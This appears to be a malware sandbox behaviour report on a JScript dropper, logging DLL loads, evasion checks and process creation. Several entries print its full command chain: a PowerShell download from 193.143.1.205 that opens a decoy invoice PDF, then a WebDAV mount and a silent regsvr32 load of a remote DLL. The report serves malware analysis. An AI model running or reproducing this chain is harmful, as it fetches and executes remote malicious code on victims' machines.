Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3869.js.csv");ITextStream.WriteLine(" entry:8410 f:thrwckni");ITextStream.WriteLine(" exec:2 f:thrwckni");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5408			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4113			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5528	Thread sleep count: 5408 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2536	Thread sleep count: 4113 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1656	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3660	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6040	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 520	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2644	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 568	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.2776593636.000002097E62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000003.1545345669.000001CA0855B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558630148.000001CA0855B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1557997210.000001CA084F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2778714264.000002097FC58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll	Jump to behavior
